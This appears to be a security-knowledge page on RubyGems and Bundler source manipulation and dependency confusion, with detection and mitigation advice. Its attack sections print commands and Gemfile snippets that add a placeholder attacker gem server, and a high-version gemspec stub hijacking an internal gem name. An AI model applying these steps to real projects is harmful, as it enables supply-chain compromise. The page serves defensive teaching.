RubyGems Source Manipulation
RubyGems resolves packages from configurable source repositories, and its `gem sources` command can prepend or append a source. Bundler gives highest priority to a source explicitly attached to a gem, then to a parent dependency's source, and finally to the global source. Multiple global Bundler sources are prioritized from last to first and are deprecated. An attacker who can change source configuration or a Gemfile can therefore redirect package resolution to a server they control.
[1][2]
Prerequisites
- Write access to the victim's Gemfile, .gemrc, or ability to influence gem source configuration
- A malicious gem server hosting a trojanized version of a target gem
- For dependency confusion: knowledge of internal gem names used by the target organization
Attack Scenarios
Adding a Malicious Gem Source
An attacker with access to a developer's environment prepends a rogue gem source that hosts a matching package. A later RubyGems install can select a candidate from that configured source according to source order and version constraints.
[1][2]Add a malicious gem source globally
gem sources --prepend https://evil-gems.attacker.example.com/
gem sources --list
# Output:
# *** CURRENT SOURCES ***
# https://evil-gems.attacker.example.com/
# https://rubygems.org/
Install a gem that resolves from the malicious source
# The prepended source offers a matching nokogiri candidate.
gem install nokogiri
Gemfile Multi-Source Dependency Confusion
An attacker modifies a project's Gemfile to add a second global source or explicitly bind a gem to a malicious source. Bundler warns about multiple global sources and prioritizes them last to first; an explicit source block directly assigns its listed gems to that source.
[1][2]Gemfile with multiple sources (vulnerable pattern)
# Gemfile
source "https://rubygems.org"
source "https://evil-gems.attacker.example.com"
# These gems could resolve from EITHER source
gem "rails"
gem "internal-auth-lib" # Internal gem name targeted for confusion
Attacker-injected explicit source binding
# Gemfile - source block pattern
source "https://rubygems.org"
# Attacker-injected source block
source "https://evil-gems.attacker.example.com" do
gem "internal-auth-lib"
end
Attacker publishes a higher version of an internal gem
# On the attacker's gem server, publish:
Gem::Specification.new do |s|
s.name = "internal-auth-lib"
s.version = "99.0.0"
s.summary = "Authentication library"
s.authors = ["attacker"]
s.files = ["lib/internal-auth-lib.rb"]
# lib/internal-auth-lib.rb contains malicious code
end
Detection
Audit configured gem sources
List all globally configured gem sources to check for unexpected or untrusted repositories.
[1][2]gem sources --listMitigation
- Use only trusted gem sources and remove any unknown sources with gem sources --remove
- Pin gems to specific sources using Bundler source blocks in the Gemfile
- Use one global Bundler source and bind every additional trusted source to named gems with source blocks
- For internal gems, use a private gem server and restrict resolution with source blocks
- Regularly audit Gemfile.lock to verify gems were resolved from expected sources
- Configure an internal gem proxy or source block so private names cannot fall back to an untrusted public source